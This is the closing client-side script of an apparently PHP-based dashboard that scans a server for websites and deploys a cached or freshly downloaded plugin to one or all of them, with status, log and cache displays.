        var container = document.getElementById('alertContainer');
        var alert = document.createElement('div');
        alert.className = 'alert alert-' + type;
        var icon = type === 'success' ? 'fa-check-circle' : type === 'error' ? 'fa-exclamation-circle' : 'fa-info-circle';
        alert.innerHTML = '<i class="fas ' + icon + '"></i> ' + message;
        container.appendChild(alert);
        setTimeout(function() { if (alert.parentNode) alert.remove(); }, 5000);
    }

    function updateStats() {
        var total = sites.length;
        var success = 0, failed = 0, processing = 0;
        for (var i = 0; i < sites.length; i++) {
            if (sites[i].status === 'success') success++;
            else if (sites[i].status === 'error') failed++;
            else if (sites[i].status === 'processing') processing++;
        }
        document.getElementById('totalSites').textContent = total;
        document.getElementById('deployedSites').textContent = success + processing;
        document.getElementById('successSites').textContent = success;
        document.getElementById('failedSites').textContent = failed;
    }

    function escapeHtml(str) {
        if (!str) return '';
        return str.replace(/[&<>]/g, function(m) {
            if (m === '&') return '&amp;';
            if (m === '<') return '&lt;';
            if (m === '>') return '&gt;';
            return m;
        });
    }

    function getStatusText(status) {
        if (status === 'success') return 'Success';
        if (status === 'error') return 'Failed';
        if (status === 'processing') return 'Processing...';
        return 'Pending';
    }

    function getStatusClass(status) {
        return status || 'pending';
    }

    function renderSites() {
        var container = document.getElementById('siteList');
        if (sites.length === 0) {
            container.innerHTML = '<div style="text-align: center; padding: 40px; color: #999;"><i class="fas fa-inbox" style="font-size: 48px; margin-bottom: 15px; display: block;"></i>No sites found</div>';
            return;
        }

        var html = '';
        for (var i = 0; i < sites.length; i++) {
            var site = sites[i];
            var status = site.status || 'pending';
            var statusClass = getStatusClass(status);
            var statusText = getStatusText(status);
            var disabled = deploying || status === 'processing' ? 'disabled' : '';
            var domainEsc = escapeHtml(site.domain);
            var pathEsc = escapeHtml(site.path);

            html += '<div class="site-item" data-domain="' + domainEsc + '">';
            html += '<div class="site-header">';
            html += '<div class="site-domain"><i class="fas fa-globe"></i> ' + domainEsc + '</div>';
            html += '<div class="site-status status-' + statusClass + '">' + statusText + '</div>';
            html += '</div>';
            html += '<div class="site-path"><i class="fas fa-folder"></i> ' + pathEsc + '</div>';
            html += '<div class="site-actions">';
            html += '<button class="btn btn-primary btn-sm" onclick="deploySite(\'' + domainEsc + '\', false)" ' + disabled + '><i class="fas fa-upload"></i> Deploy</button>';
            html += '<button class="btn btn-warning btn-sm" onclick="deploySite(\'' + domainEsc + '\', true)" ' + disabled + '><i class="fas fa-sync"></i> Force</button>';
            html += '<button class="btn btn-info btn-sm" onclick="viewLogs(\'' + domainEsc + '\')" ' + (!site.logs ? 'disabled' : '') + '><i class="fas fa-list"></i> Logs</button>';
            html += '</div>';

            if (site.steps) {
                var stepsId = 'steps-' + site.domain.replace(/\./g, '_');
                html += '<div class="progress-steps" id="' + stepsId + '"></div>';
            }

            html += '</div>';
        }

        container.innerHTML = html;

        for (var j = 0; j < sites.length; j++) {
            var s = sites[j];
            if (s.steps) {
                var stepsContainer = document.getElementById('steps-' + s.domain.replace(/\./g, '_'));
                if (stepsContainer) {
                    var stepsHtml = '';
                    for (var k = 0; k < s.steps.length; k++) {
                        var step = s.steps[k];
                        var icon = step.status === 'success' ? 'fa-check-circle' : step.status === 'error' ? 'fa-times-circle' : step.status === 'processing' ? 'fa-spinner fa-pulse' : 'fa-info-circle';
                        stepsHtml += '<div class="step step-' + step.status + '">';
                        stepsHtml += '<i class="fas ' + icon + '"></i>';
                        stepsHtml += '<span>' + escapeHtml(step.action) + '</span>';
                        if (step.size) {
                            stepsHtml += '<span style="margin-left: auto; font-size: 0.75rem;">' + escapeHtml(step.size) + '</span>';
                        }
                        if (step.source) {
                            var color = step.source === 'cache' ? '#28a745' : '#17a2b8';
                            stepsHtml += '<span style="margin-left: auto; font-size: 0.75rem; color: ' + color + ';">[' + escapeHtml(step.source.toUpperCase()) + ']</span>';
                        }
                        stepsHtml += '</div>';
                    }
                    stepsContainer.innerHTML = stepsHtml;
                }
            }
        }

        updateStats();
    }

    function scanSites() {
        var scanBtn = document.getElementById('scanBtn');
        scanBtn.disabled = true;
        scanBtn.innerHTML = '<i class="fas fa-spinner fa-pulse"></i> Scanning...';

        var formData = new FormData();
        formData.append('action', 'scan_sites');

        fetch('', {
            method: 'POST',
            body: formData,
            headers: { 'X-Requested-With': 'XMLHttpRequest' }
        })
        .then(function(response) { return response.json(); })
        .then(function(data) {
            if (data.success) {
                sites = data.sites.map(function(site) {
                    return { domain: site.domain, path: site.path, status: 'pending', steps: null, logs: null };
                });
                renderSites();
                document.getElementById('deployAllBtn').disabled = false;
                document.getElementById('forceDeployBtn').disabled = false;
                showAlert('Found ' + sites.length + ' site(s)', 'success');
                loadCacheInfo();
            } else {
                showAlert(data.error || 'Scan failed', 'error');
            }
        })
        .catch(function(error) {
            showAlert('Error: ' + error.message, 'error');
        })
        .finally(function() {
            scanBtn.disabled = false;
            scanBtn.innerHTML = '<i class="fas fa-search"></i> Scan Sites';
        });
    }

    function deploySite(domain, forceDownload) {
        forceDownload = forceDownload || false;
        var site = null;
        for (var i = 0; i < sites.length; i++) {
            if (sites[i].domain === domain) { site = sites[i]; break; }
        }
        if (!site || deploying) return;

        deploying = true;
        site.status = 'processing';
        site.steps = [{ action: forceDownload ? 'Force downloading fresh plugin...' : 'Using cache if available...', status: 'processing' }];
        renderSites();

        var formData = new FormData();
        formData.append('action', 'deploy_site');
        formData.append('site', JSON.stringify({ domain: site.domain, path: site.path }));
        formData.append('force_download', forceDownload ? 'true' : 'false');

        fetch('', {
            method: 'POST',
            body: formData,
            headers: { 'X-Requested-With': 'XMLHttpRequest' }
        })
        .then(function(response) { return response.json(); })
        .then(function(result) {
            if (result.success) {
                site.status = 'success';
                site.steps = result.steps;
                var source = 'unknown';
                for (var j = 0; j < result.steps.length; j++) {
                    if (result.steps[j].source) { source = result.steps[j].source; break; }
                }
                showAlert(domain + ': Success! (Source: ' + source.toUpperCase() + ')', 'success');
            } else {
                site.status = 'error';
                site.steps = result.steps;
                showAlert(domain + ': Failed - ' + (result.error || 'Unknown error'), 'error');
            }
            site.logs = result.steps;
            renderSites();
            loadCacheInfo();
        })
        .catch(function(error) {
            site.status = 'error';
            site.steps = [{ action: 'Error: ' + error.message, status: 'error' }];
            site.logs = site.steps;
            showAlert(domain + ': Error - ' + error.message, 'error');
            renderSites();
        })
        .finally(function() {
            deploying = false;
            document.getElementById('deployAllBtn').disabled = false;
            document.getElementById('forceDeployBtn').disabled = false;
        });
    }

    function deployAll() {
        var pending = [];
        for (var i = 0; i < sites.length; i++) {
            if (sites[i].status !== 'processing') pending.push(sites[i]);
        }
        if (pending.length === 0) { showAlert('No sites to deploy', 'info'); return; }

        var msg = 'Deploy to ' + pending.length + ' site(s) using CACHE?';
        if (!confirm(msg)) return;
        executeBatchDeploy(pending, false);
    }

    function forceDeployAll() {
        var pending = [];
        for (var i = 0; i < sites.length; i++) {
            if (sites[i].status !== 'processing') pending.push(sites[i]);
        }
        if (pending.length === 0) { showAlert('No sites to deploy', 'info'); return; }

        var msg = 'FORCE RE-DOWNLOAD and deploy to ' + pending.length + ' site(s)?';
        if (!confirm(msg)) return;
        executeBatchDeploy(pending, true);
    }

    function executeBatchDeploy(sitesList, forceDownload) {
        var deployAllBtn = document.getElementById('deployAllBtn');
        var forceDeployBtn = document.getElementById('forceDeployBtn');
        deployAllBtn.disabled = true;
        forceDeployBtn.disabled = true;
        deployAllBtn.innerHTML = '<i class="fas fa-spinner fa-pulse"></i> Deploying...';
        forceDeployBtn.innerHTML = '<i class="fas fa-spinner fa-pulse"></i> Downloading...';

        var sitesData = sitesList.map(function(s) { return { domain: s.domain, path: s.path }; });
        var formData = new FormData();
        formData.append('action', 'deploy_all');
        formData.append('sites', JSON.stringify(sitesData));
        formData.append('force_download', forceDownload ? 'true' : 'false');

        fetch('', {
            method: 'POST',
            body: formData,
            headers: { 'X-Requested-With': 'XMLHttpRequest' }
        })
        .then(function(response) { return response.json(); })
        .then(function(result) {
            if (result.success) {
                for (var i = 0; i < result.results.length; i++) {
                    var r = result.results[i];
                    var site = sitesList[i];
                    if (site) {
                        site.status = r.success ? 'success' : 'error';
                        site.steps = r.steps;
                        site.logs = r.steps;
                    }
                }
                renderSites();
                var source = result.cache_source || 'unknown';
                showAlert('All done! (Source: ' + source.toUpperCase() + ')', 'success');
            } else {
                showAlert('Batch failed: ' + (result.error || 'Unknown error'), 'error');
            }
            loadCacheInfo();
        })
        .catch(function(error) {
            showAlert('Error: ' + error.message, 'error');
        })
        .finally(function() {
            deployAllBtn.disabled = false;
            forceDeployBtn.disabled = false;
            deployAllBtn.innerHTML = '<i class="fas fa-play"></i> Deploy All (Cache)';
            forceDeployBtn.innerHTML = '<i class="fas fa-sync"></i> Force Download All';
        });
    }

    function loadCacheInfo() {
        var formData = new FormData();
        formData.append('action', 'cache_info');

        fetch('', {
            method: 'POST',
            body: formData,
            headers: { 'X-Requested-With': 'XMLHttpRequest' }
        })
        .then(function(response) { return response.json(); })
        .then(function(data) {
            if (data.success && data.cache_exists) {
                cacheInfo = data.info;
                displayCacheInfo(cacheInfo);
            } else {
                cacheInfo = null;
                document.getElementById('cacheInfoDisplay').style.display = 'none';
            }
        })
        .catch(function(error) {
            console.error('Cache info error:', error);
        });
    }

    function displayCacheInfo(info) {
        var display = document.getElementById('cacheInfoDisplay');
        if (info) {
            display.style.display = 'block';
            var isExpired = info.age_seconds > <?php echo $CACHE_EXPIRY; ?>;
            var expiryStatus = isExpired ? '⚠️ EXPIRED' : '✅ VALID';
            var expiryColor = isExpired ? '#dc3545' : '#28a745';

            display.innerHTML =
                '<div style="display: grid; grid-template-columns: auto 1fr; gap: 8px 20px;">' +
                    '<span class="label">📦 Cache:</span><span style="color: #2e7d32; font-weight: 600;">✅ ACTIVE</span>' +
                    '<span class="label">📊 Size:</span><span>' + info.size + '</span>' +
                    '<span class="label">🕐 Modified:</span><span>' + info.modified + '</span>' +
                    '<span class="label">⏱️ Age:</span><span>' + info.age_readable + ' (' + info.age_seconds + 's)</span>' +
                    '<span class="label">⏰ Expiry:</span><span style="color: ' + expiryColor + ';">' + expiryStatus + ' (<?php echo $CACHE_EXPIRY; ?>s)</span>' +
                '</div>';
        } else {
            display.style.display = 'block';
            display.innerHTML = '<div style="color: #856404;"><i class="fas fa-info-circle"></i> No cache found. Deploy to create.</div>';
        }
    }

    function clearCache() {
        if (!confirm('Hapus cache plugin di /tmp?')) return;

        var formData = new FormData();
        formData.append('action', 'clear_cache');

        fetch('', {
            method: 'POST',
            body: formData,
            headers: { 'X-Requested-With': 'XMLHttpRequest' }
        })
        .then(function(response) { return response.json(); })
        .then(function(data) {
            if (data.success) {
                showAlert('Cache cleared!', 'success');
                cacheInfo = null;
                document.getElementById('cacheInfoDisplay').style.display = 'none';
            } else {
                showAlert('Failed: ' + data.message, 'error');
            }
        })
        .catch(function(error) {
            showAlert('Error: ' + error.message, 'error');
        });
    }

    function showCacheInfo() {
        if (cacheInfo) {
            showAlert('Cache: ' + cacheInfo.size + ', Age: ' + cacheInfo.age_readable, 'info');
        } else {
            showAlert('No cache found', 'warning');
        }
    }

    function viewLogs(domain) {
        var site = null;
        for (var i = 0; i < sites.length; i++) {
            if (sites[i].domain === domain) { site = sites[i]; break; }
        }
        if (!site || !site.logs) return;

        var modal = document.getElementById('modal');
        var modalBody = document.getElementById('modalBody');
        var modalTitle = document.getElementById('modalTitle');

        modalTitle.innerHTML = 'Logs - ' + escapeHtml(domain);

        var html = '<div style="background: #f8f9fa; padding: 15px; border-radius: 10px; max-height: 400px; overflow-y: auto;">';
        for (var j = 0; j < site.logs.length; j++) {
            var step = site.logs[j];
            var icon = step.status === 'success' ? 'fa-check-circle' : step.status === 'error' ? 'fa-times-circle' : step.status === 'processing' ? 'fa-spinner fa-pulse' : 'fa-info-circle';
            var color = step.status === 'success' ? '#28a745' : step.status === 'error' ? '#dc3545' : '#17a2b8';
            html += '<div style="padding: 8px; border-bottom: 1px solid #e9ecef; display: flex; align-items: center; gap: 10px;">';
            html += '<i class="fas ' + icon + '" style="color: ' + color + ';"></i>';
            html += '<span>' + escapeHtml(step.action) + '</span>';
            if (step.source) {
                var bgColor = step.source === 'cache' ? '#d4edda' : '#cce5ff';
                var textColor = step.source === 'cache' ? '#155724' : '#004085';
                html += '<span style="margin-left: auto; padding: 2px 10px; border-radius: 10px; font-size: 0.7rem; background: ' + bgColor + '; color: ' + textColor + ';">' + escapeHtml(step.source.toUpperCase()) + '</span>';
            }
            html += '</div>';
        }
        html += '</div>';

        modalBody.innerHTML = html;
        modal.classList.add('active');
    }

    function closeModal() {
        document.getElementById('modal').classList.remove('active');
    }

    // Event listeners
    document.addEventListener('DOMContentLoaded', function() {
        document.getElementById('scanBtn').addEventListener('click', scanSites);
        document.getElementById('deployAllBtn').addEventListener('click', deployAll);
        document.getElementById('forceDeployBtn').addEventListener('click', forceDeployAll);
        document.getElementById('clearCacheBtn').addEventListener('click', clearCache);
        document.getElementById('cacheInfoBtn').addEventListener('click', showCacheInfo);

        // Auto scan
        scanSites();
    });
    </script>
</body>
</html>